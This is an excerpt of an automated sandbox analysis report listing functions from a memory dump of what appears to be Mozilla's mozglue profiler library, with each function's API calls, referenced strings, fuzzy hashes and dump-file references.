Instruction Fuzzy Hash: 0B310A71B002089FDB14AF59DC455EE77A9DF54718F50846DEA06ABB80DB31E904CBD2

Function 6C9A46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9A4721

Part of subcall function 6C954410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C993EBD,00000017,?,00000000,?,6C993EBD,?,?,6C9542D2), ref: 6C954444

Strings

profiler-paused, xrefs: 6C9A46E4
-%llu, xrefs: 6C9A4733
., xrefs: 6C9A476A

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 8e513062b929a89b54a85ed2350b4cdaffecbb1bd69503736628948df1c82039
Instruction ID: 1bec9da7a1a0f8f8537b0094bf35a97c28dd057798e076457a247e29aed8c295
Opcode Fuzzy Hash: 8e513062b929a89b54a85ed2350b4cdaffecbb1bd69503736628948df1c82039
Instruction Fuzzy Hash: C2313971F043084BCB0CCFACD8812ADBBE6DB99714F55853EE8059BB41EB70D9458B51

Function 6C9AB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C954290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C993EBD,6C993EBD,00000000), ref: 6C9542A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C9AB127), ref: 6C9AB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C9AB4E4

Strings

pid:, xrefs: 6C9AB4DE

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: d02b22acb0bc9cdb789ad10cc11b9f0c9a6c4aa96de36fec541bba084984be0b
Instruction ID: 7d39cca18616ff65ba02868df991634079e195447791591a041a36154c5c891f
Opcode Fuzzy Hash: d02b22acb0bc9cdb789ad10cc11b9f0c9a6c4aa96de36fec541bba084984be0b
Instruction Fuzzy Hash: A3312131A0120CDFDB00DFE9D880AEEB7B9FF05318F540529D90167A81D732E88ACBA1

Function 6C99E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C99E577
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99E584
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C99E8A6

Strings

MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C99E655
MOZ_PROFILER_STARTUP, xrefs: 6C99E5A1, 6C99E5CC, 6C99E5FF, 6C99E62A
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C99E826, 6C99E850
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C99E722, 6C99E750, 6C99E7A2
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C99E777

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: cff65f50e53103f362ce9ba93de695206569c6997d784dd6d3388b9ab68587f9
Instruction ID: 8ce947244d5cbc10c64b9c5882184560a2a2ae75396da08a335d8b8f0829866d
Opcode Fuzzy Hash: cff65f50e53103f362ce9ba93de695206569c6997d784dd6d3388b9ab68587f9
Instruction Fuzzy Hash: E211A131608B54DFCB009F15C849B59BBB8FB8932DF254519E94567A50C770F884CBD1

Function 6C9A0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9A0CD5

Part of subcall function 6C98F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C98F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9A0D40
free.MOZGLUE ref: 6C9A0DCB

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

free.MOZGLUE ref: 6C9A0DDD
free.MOZGLUE ref: 6C9A0DF2

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 0d978a4cfd0547df25233c8c2ea475f30d0db58acc2b2a11a62c3ee0755f98d6
Instruction ID: 8b6228db4b23bef3e1e6a4d1db5b717f2f806b281f9c4a3e2c91d2a6705c6c9f
Opcode Fuzzy Hash: 0d978a4cfd0547df25233c8c2ea475f30d0db58acc2b2a11a62c3ee0755f98d6
Instruction Fuzzy Hash: 8A413572A097809BD320CF29C08039EFBE5BF98614F119A2EE8D987B50D770E445CB82

Function 6C990800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C990838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C99084C
EnterCriticalSection.KERNEL32(?), ref: 6C9908AF
LeaveCriticalSection.KERNEL32(?), ref: 6C9908BD
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C9908D5

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: 847f76282d066539a08ffb6f0fd6e8202346187db3a98a0fe5eb6cef1808141d
Instruction ID: 5d66724608351e1b8e152e020084574ade333fcedd537deb69491c5a7c919f5d
Opcode Fuzzy Hash: 847f76282d066539a08ffb6f0fd6e8202346187db3a98a0fe5eb6cef1808141d
Instruction Fuzzy Hash: EB21B331B0564A9BEB048F66D844BAEB779AF49708F680568D519B7A40DB32E844CBD0

Function 6C9ACCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9ACDA4

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

Part of subcall function 6C9AD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C9ACDBA,00100000,?,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9AD158
Part of subcall function 6C9AD130: InitializeConditionVariable.KERNEL32(00000098,?,6C9ACDBA,00100000,?,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9AD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9ACDC4

Part of subcall function 6C9A7480: ReleaseSRWLockExclusive.KERNEL32(?,6C9B15FC,?,?,?,?,6C9B15FC,?), ref: 6C9A74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9ACECC

Part of subcall function 6C96CA10: mozalloc_abort.MOZGLUE(?), ref: 6C96CAA2

Part of subcall function 6C99CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C9ACEEA,?,?,?,?,00000000,?,6C99DA31,00100000,?,?,00000000), ref: 6C99CB57
Part of subcall function 6C99CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C99CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C9ACEEA,?,?), ref: 6C99CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9AD058

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 21ab459e2694be5d92007f9fc188c5177eff413676b63e37775e5b056bf0d785
Instruction ID: e13b5ba873cb11a38f191cfca532ba899a9c01f1d82dbc39d27802f7eb277510
Opcode Fuzzy Hash: 21ab459e2694be5d92007f9fc188c5177eff413676b63e37775e5b056bf0d785
Instruction Fuzzy Hash: ECD16F71A04B56DFD708CF28C4807A9F7E1BF99308F05862DD8598B751EB31E9A5CB81

Function 6C961720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C9617B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C9618EE
free.MOZGLUE(?), ref: 6C961911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C96194C

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 12d6be15841c6c0ece9b719a04f1b84cbad1ca020cf3b534e317b819b391aeff
Instruction ID: e1d8d6752d8c89da296225dcf8104f89744ad6ff8dd53e8bf47747fb72a66d02
Opcode Fuzzy Hash: 12d6be15841c6c0ece9b719a04f1b84cbad1ca020cf3b534e317b819b391aeff
Instruction Fuzzy Hash: A181E770A152059FDB08CF69D8D45BEBBB1FF8A310F04456DE811ABB90D730E854CBA2

Function 6C975C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C975D40
EnterCriticalSection.KERNEL32(6C9DF688), ref: 6C975D67
__aulldiv.LIBCMT ref: 6C975DB4
LeaveCriticalSection.KERNEL32(6C9DF688), ref: 6C975DED

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 1848d507069d5ab967d3f2ef7fb882371dae29ac8d10ad724a742759ff74307b
Instruction ID: 1f87f39f8e3ef7c84aa57ec3eef4dbb2e3f64417e9166057b9da5a500d700b55
Opcode Fuzzy Hash: 1848d507069d5ab967d3f2ef7fb882371dae29ac8d10ad724a742759ff74307b
Instruction Fuzzy Hash: 77518D71E055198FCF08CF68C955BAEBBB1FB89308F298619D811B7B50C730B985CB90

Function 6C95CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C95CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C95CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C95CF4E

Strings

0, xrefs: 6C95CF30

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 0e851ffa705033111940aa1c33e4e3d91d700d23ea7ee9f0b9783dfe3b6a0d03
Instruction ID: dc4f0ea235c2803fa0aad74319c0a12519226d35278ffde2eabba60f27fc35f0
Opcode Fuzzy Hash: 0e851ffa705033111940aa1c33e4e3d91d700d23ea7ee9f0b9783dfe3b6a0d03
Instruction Fuzzy Hash: CE510375A042568FCB00CF18C890A9ABBB5EF99300F19859DDC595F751D731ED16CBE0

Function 6C9B77D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9B77FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C9B7829

Part of subcall function 6C98CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C9531A7), ref: 6C98CC45
Part of subcall function 6C98CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C9531A7), ref: 6C98CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C9B789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C9B78CF

Part of subcall function 6C954DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C954E5A
Part of subcall function 6C954DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C954E97

Part of subcall function 6C954290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C993EBD,6C993EBD,00000000), ref: 6C9542A9

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: caf3e7704822f2addaf2677514d346225285f95a206d5c06274acda0d33bd75b
Instruction ID: f052142582ff73968bc6d3a7b89b9dc90c6ff24a43dcf738ae1e8fc1bf822f00
Opcode Fuzzy Hash: caf3e7704822f2addaf2677514d346225285f95a206d5c06274acda0d33bd75b
Instruction Fuzzy Hash: 2241A171904B469BD300DF29C48056BFBF4FF9A254F604B2EE4A997680DB30E559CB92

Function 6C996470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C9982BC,?,?), ref: 6C99649B

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9964A9

Part of subcall function 6C98FA80: GetCurrentThreadId.KERNEL32 ref: 6C98FA8D
Part of subcall function 6C98FA80: AcquireSRWLockExclusive.KERNEL32(6C9DF448), ref: 6C98FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C99653F
free.MOZGLUE(?), ref: 6C99655A

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 78b174288c16fb3899ff68a040e3794a56d5920168d6b753a99ca4954e498543
Instruction ID: 5d1ed47b612aaa19d3445733a6fce65672bf1dbe08f0c3282fef5dc97e92502d
Opcode Fuzzy Hash: 78b174288c16fb3899ff68a040e3794a56d5920168d6b753a99ca4954e498543
Instruction Fuzzy Hash: 8B317EB5A08705AFD740CF14D880A9ABBF4BFA8314F10482EE85A97740DB30E919CB92

Function 6C98FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C9AD019,?,?,?,?,?,00000000,?,6C99DA31,00100000,?), ref: 6C98FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C9AD019,?,?,?,?,?,00000000,?,6C99DA31,00100000,?,?), ref: 6C98FFF5
free.MOZGLUE(?,?,?,?,?,6C9AD019,?,?,?,?,?,00000000,?,6C99DA31,00100000,?), ref: 6C99001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C9AD019,?,?,?,?,?,00000000,?,6C99DA31,00100000,?,?), ref: 6C99002A

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: d1e9a6697ef0f8e2fdef3903f4ecd0da94cf41952a868af1e85a09b52c30ccae
Instruction ID: f4e5e0f5c16f909b7cb312d189a806363e8cca5c1bbd63e2f55b1bae78501e82
Opcode Fuzzy Hash: d1e9a6697ef0f8e2fdef3903f4ecd0da94cf41952a868af1e85a09b52c30ccae
Instruction Fuzzy Hash: 092108B2B002155BC7089E7C9C948AFB7BAFB993283250738D425D7780EB30DD1186E1

Function 6C96B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C96B4F5
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C96B502
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C96B542
free.MOZGLUE(?), ref: 6C96B578

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 413b91b72791cdf31f6e5a20aea3889f753af2122a8e2120a1d9d3bf3532e05d
Instruction ID: 0894c2c953dea2b7385df97e14bc304ed39d16faa6129f7da71c1011abd265c9
Opcode Fuzzy Hash: 413b91b72791cdf31f6e5a20aea3889f753af2122a8e2120a1d9d3bf3532e05d
Instruction Fuzzy Hash: 36118C31A08F45C7E7218F2AC8047A5B3B5FFA6319F24970AE84963E01FBB1F1C59691

Function 6C993DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C95F20E,?), ref: 6C993DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C95F20E,00000000,?), ref: 6C993DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C993E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C993E0E

Part of subcall function 6C98CC00: GetCurrentProcess.KERNEL32(?,?,6C9531A7), ref: 6C98CC0D
Part of subcall function 6C98CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C9531A7), ref: 6C98CC16

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 1780f16c9e4972a978fc2bac2f17faf98be9e3e029178694cfe04844e1628a54
Instruction ID: 82f8c848c077912729aa79f4c00a0283270150cdbdaa2a7c1ece37f49bf143a2
Opcode Fuzzy Hash: 1780f16c9e4972a978fc2bac2f17faf98be9e3e029178694cfe04844e1628a54
Instruction Fuzzy Hash: 57F012716002087BDB00AB54DC81DAB376DEF56628F140420FD0957741D635FE6596F7

Function 6C9A20B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9A20B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6C98FBD1), ref: 6C9A20C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6C98FBD1), ref: 6C9A20DA
free.MOZGLUE(00000000,?,6C98FBD1), ref: 6C9A20F1

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 98e032636ff37c3595b6f6039d7dce6c37bc0714a5563ed82be1aebd06bb9ba7
Instruction ID: dffe14cf7f10b13ba22c6fcd429b6cdec438255aa13afdc113a47be198ebd7f5
Opcode Fuzzy Hash: 98e032636ff37c3595b6f6039d7dce6c37bc0714a5563ed82be1aebd06bb9ba7
Instruction Fuzzy Hash: 43E0E531608E259BC3209F26980854EB7F9EF96218B20022AE50AD3B00DB75F58686E6

Function 6C9A85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C9A85D3

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

